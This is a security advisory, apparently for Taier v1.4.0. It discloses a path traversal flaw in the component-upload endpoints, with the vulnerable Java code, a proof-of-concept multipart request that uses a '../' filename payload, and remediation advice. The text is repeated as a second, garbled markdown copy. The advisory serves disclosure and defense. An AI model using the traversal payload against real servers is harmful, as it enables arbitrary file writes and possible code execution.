Severity: High · CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
Affected versions:v1.4.0
Summary
Several component-upload endpoints under /upload/component/* save an uploaded multipart file to a path built directly from the caller-supplied filename with no sanitization. Because the destination is computed as uploadsDir + separator + originalFilename, a filename containing ../ escapes the intended upload directory, letting an authenticated operator write or overwrite arbitrary files writable by the JVM user.
Vulnerability chain
| Stage |
Component |
Location |
| Source |
Multipart filename of uploaded component resources |
UploadController.java:146 |
| Sink |
transferTo(uploadsDir + sep + originalFilename) (no sanitize) |
UploadController.java:147,153 |
A shared helper, getResourcesFromFiles, is invoked by the component-upload endpoints (/upload/component/config, /upload/component/addOrUpdateComponent, /upload/component/parseKerberos, /upload/component/uploadKerberos). It reads MultipartFile.getOriginalFilename() verbatim, concatenates it onto the upload base directory, creates any missing parent directories, and writes the bytes with transferTo. No /, \, or .. sequence is rejected, and no canonical containment check is performed, so a traversal payload in the multipart filename resolves outside the base directory.
Key code
taier-data-develop/.../controller/console/UploadController.java:143
for (MultipartFile file : files) {
String fileOriginalName = file.getOriginalFilename();
String path = uploadsDir + File.separator + fileOriginalName; // :147 — no sanitize
File saveFile = new File(path);
if (!saveFile.getParentFile().exists()) {
saveFile.getParentFile().mkdirs(); // :150 — also creates escaped parent dirs
}
try {
file.transferTo(saveFile); // :153
} catch (Exception e) { ... }
The upload base directory is the working directory plus file-uploads — UploadController.java:58:
private static String uploadsDir = System.getProperty("user.dir") + File.separator + "file-uploads";
Proof of Concept
Authenticated console operator. The request only triggers the write; the target is a benign /tmp path.
POST /upload/component/config HTTP/1.1
Host: <taier host>
Content-Type: multipart/form-data; boundary=----b
Cookie: <taier session>
------b
Content-Disposition: form-data; name="fileName"; filename="../../../../../../tmp/x.txt"
Content-Type: application/octet-stream
x
------b
Content-Disposition: form-data; name="componentType"
0
------b--
The same sink applies to /upload/component/parseKerberos, /upload/component/addOrUpdateComponent, and /upload/component/uploadKerberos, which all pass uploaded files through getResourcesFromFiles.
Impact
An authenticated operator with component-management access can write or overwrite any file reachable and writable by the taier JVM user. Depending on the deployment, this can lead to remote code execution (e.g., dropping classes, scripts, or JARs onto a writable classpath or writable configuration consumed by the application). Precondition: a valid authenticated session.
Remediation
Do not trust MultipartFile.getOriginalFilename() as a filesystem component. Generate a safe server-side name (e.g., a UUID or content hash) for storage and keep the original name only as metadata; reject any /, \, or .. sequence in the original filename. Additionally, canonicalize the resolved destination and verify it remains inside the upload base directory before writing.
Severity: High · CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
Affected versions:v1.4.0
Summary
Several component-upload endpoints under
/upload/component/*save an uploaded multipart file to a path built directly from the caller-suppliedfilenamewith no sanitization. Because the destination is computed asuploadsDir + separator + originalFilename, afilenamecontaining../escapes the intended upload directory, letting an authenticated operator write or overwrite arbitrary files writable by the JVM user.Vulnerability chain
filenameof uploaded component resourcesUploadController.java:146transferTo(uploadsDir + sep + originalFilename)(no sanitize)UploadController.java:147,153A shared helper,
getResourcesFromFiles, is invoked by the component-upload endpoints (/upload/component/config,/upload/component/addOrUpdateComponent,/upload/component/parseKerberos,/upload/component/uploadKerberos). It readsMultipartFile.getOriginalFilename()verbatim, concatenates it onto the upload base directory, creates any missing parent directories, and writes the bytes withtransferTo. No/,\, or..sequence is rejected, and no canonical containment check is performed, so a traversal payload in the multipartfilenameresolves outside the base directory.Key code
taier-data-develop/.../controller/console/UploadController.java:143The upload base directory is the working directory plus
file-uploads—UploadController.java:58:Proof of Concept
Authenticated console operator. The request only triggers the write; the target is a benign
/tmppath.The same sink applies to
/upload/component/parseKerberos,/upload/component/addOrUpdateComponent, and/upload/component/uploadKerberos, which all pass uploaded files throughgetResourcesFromFiles.Impact
An authenticated operator with component-management access can write or overwrite any file reachable and writable by the taier JVM user. Depending on the deployment, this can lead to remote code execution (e.g., dropping classes, scripts, or JARs onto a writable classpath or writable configuration consumed by the application). Precondition: a valid authenticated session.
Remediation
Do not trust
MultipartFile.getOriginalFilename()as a filesystem component. Generate a safe server-side name (e.g., a UUID or content hash) for storage and keep the original name only as metadata; reject any/,\, or..sequence in the original filename. Additionally, canonicalize the resolved destination and verify it remains inside the upload base directory before writing.